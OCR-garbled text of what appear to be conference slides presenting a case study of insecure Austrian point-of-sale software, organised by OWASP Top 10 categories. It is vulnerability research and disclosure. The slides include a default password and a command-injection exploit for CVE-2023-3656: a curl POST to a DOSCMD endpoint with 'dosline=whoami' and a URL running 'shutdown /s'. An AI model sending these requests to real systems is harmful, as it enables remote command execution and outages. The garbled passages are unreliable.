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OWASP Top 10
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Insecure Design

Security Misconfiguration

Vulnerable or Outdated Components
Identification or Authentication Failures
Software and Data Integrity Failures
Security Logging and Monitoring Failures
Server-Side Request Forgery
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. . . . Cryptography @
Security Misconfiguration Authentication @

Misconfiguration

Kontodaten: ] q
Injection O
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Rdminitration Insecure Design O
Components O

User: Integrity O

Password: 12345 Logging O
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(Arbitrary Command) Injection

w Artikelmatrix (BESTAND) » Umsatzdaten des aktuellen Monats (DEP131) [Daten laden..]
» Artikelmatrix (Leer/Neuanlage) Umsatzdaten (DEP131): EEEENIRSI R (Daten laden..]

Stornajournal: EE

EENEICERT (Daten laden...]
Kassabuch: ECTERERCTIR® [Daten laden..

» Artikeldaten Export/Versand/Upload w Archivierte Belege werden Im Archivordner gespelchert:

» Artikeldatenliste (GESAMT) [Kassa/Server] c:\_cashit\websiteharchiv

» Aktueller Standauszug (GESAMT) w Rechnungsnummer: [N (Beleq wiederherstellen...)
w Export Zustellung-Kundendaten » Einrichtung & Parameterwerte

» Export Kundenkonten AUSTUG/GESAMT

: » Registrierkassensicherung (RK5-V)
» Export offener Vouchers mit Restwert 9 9

» Profilverwaltung
» Tahlungs- & Buchungsarten verwalten
» Logistikgruppen

http://.../page/start.mvINOFRAMES+
st Ay MRRIIN ()1 190/ 026290a6d60000609+2+26+44+

w Alle Terminal-Transaktionen zuriickse

» Upload starten (in neuem Fenster)
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. . . Cryptography @
(Arbitrary Command) Injection e ()

Misconfiguration @
Injection
Command Prompt | 7 en des aktuellen Monats (DEP131) [Daten laden..] Access Control O

s adaten (DEP131): ECEENNRSI IR (Daten laden..)
9b N

. A1l rights reserved. [ZES [Daten laden...] Insecure Design
’ EEZRCAARY (Daten Isden..] gn O

b Belege werden Im Archivordner gespelchert: Components O
er] c:\_cashit\website\archiv

Enummer: [ [N (Beleq wiederherstellen...] Integrity O
Logging O
SSRF O

g & Parameterwerte
assensicherung (RKS-V)
altung

BRNE Buchungsarten verwalten
» Logistikgruppen

http://.../page/start.mvINOFRAMES+
st Ay MRRIIN ()1 190/ 026290a6d60000609+2+26+44+

%@“ PLUGIN+SETUP+DOSCMD+8&dos]ine=spooler
e =
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. . . Cryptography @
(Arbitrary Command) Injection e ()

Misconfiguration @
- o e Injection W

» Windows Druckdienst neu starten = AKTUELL/Seitel Access Contro[ O
= Alle Credits der Schankanlage laschen
= AutoBackup
= Plan (A)
= Plan {8}

Insecure Design O
Components O
Integrity O
Logging O

SSRF O

wiite Gruppe S-1-1-0 Verbindliche Gruppe, StandardmaRig aw
WITATLokales Konto und Mitglied der Gruppe "Administratoren" B
*CRTAdministratoren Alias S-1-5-32-544 Verbindliche Gruppe
rar_Alias 5-1-5-32-545 Verbindliche Grinne
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Cryptography &
Broken Access Control Authentication @

Misconfiguration &

curl "http://posxxxxx.posdev.online/page/star ? Injection @
"01d9df0e6290a6d60000609+2+ N+SETUP+DOSCMD+"\ Access Control
"&dosli

Insecure Design O

Components O

Integrity O
--request POST \ SSRF O

--data "login_status=0K" \
--data "cmd_mode=2" \

--data "dosline=whoami" \
"http://.../page/plugin/datalink/start.mv?NOFRAMES+0+0+0+0+Q+SETUP+DOSCMD+"

CVE-2023-3656 (9.8 CRITICAL)
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Cryptography &
Authentication

Insecure Design

Misconfiguration

Injection

AMES+0Nd9e0b6 718591000060

9+2+26+44+PLUGIN+SETUP+ DOSCMD & dosline=shutdow

Access Control

-&dosline=shutdown %2Fs Insecure Design
Components

Integrity

Logging

ved out SSRF

(ONONONOR < NN

The connection has

The server at posoooo.posdev.online is taking too long to respond.

= The site could be temporarily unavailable or toe busy, Try again in a few moments.

» If you are unable to load any pages, check your computer's network connection.

o Ify omputer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access the

Bl Windows Server 2012 R2
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Cryptography &
Vulnerable or Outdated Components el ()
Misconfiguration &
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Letzte 4.x Release N
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Injection @
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Security Logging and Monitoring Failures A(;r:::;g:::Zz :

Misconfiguration @
Injection @

AlKonto Artikel Gruppe Display Einheit Station  Cupons Access Control °
Insecure Desigh @

sat! =

Components &

'_._et‘. =

aatli Integrity @
“ b M ; Logging M
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. Cryptography
Server-Side Request Forgery e
Misconfiguration

Injection

Access Control

A reliably insecure connection Components

‘Why does this site exist? Integrity

This domain started out as my personal 'captive portal buster' but | wanted to publi
a flight or anywhere that you have to login for WiFi, this site could help you!

it for anyone to use. If you're on Logglng

TOAAAAAA0Q

How does it work?

If you connect to a WiFi hotspot whilst out and about, sometimes you have to login or accept Terms and Conditions. To do th3
has to intercept one of your requests and inject the login page for the WiFi, This usually results in a big, red warning from your bmwwr v\hlch )rou
should never click through! Instead, open a new tab in your browser and come here!

Can I use it?
Yes! Anyone is free to use or link to this site, just make sure you're always on the HTTP version: hitp://httpforever.com

‘Who built this?

This aiba s o Tusile bar Cantt Walma o canieibs wasasnahan tmdne o haln salo Fha sk suams sasmss
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Wie unsichere Software in die 6sterreichische Cryptography
Infrastruktur rutscht - eine Fallstudie Authentication

Wann? morgen um 09:25 Misconfiguration

Wo?  Seminarraum 2 D';S;::Sre Injection
Access Control

Q000333009

Michael
Roland Insecure Design
Workshop
Ursachen- Components
Tobias forschung Integrity
Holler 0 .
Team Logging
10 von 10 Noch mefr =il
Probleme
Daniel
Hofer
Daniel F’;ﬂi(.:hae': Partially supported by the LIT Code & Schwach-
reisac! Secure and Correct Systems
Pekarek Lab funded by the State of Updates stellen

Daten-
pannen

Upper Austria.
Kontakt: @ michael.roland@ins.jku.at @ tobias.hoeller@ins.jku.at
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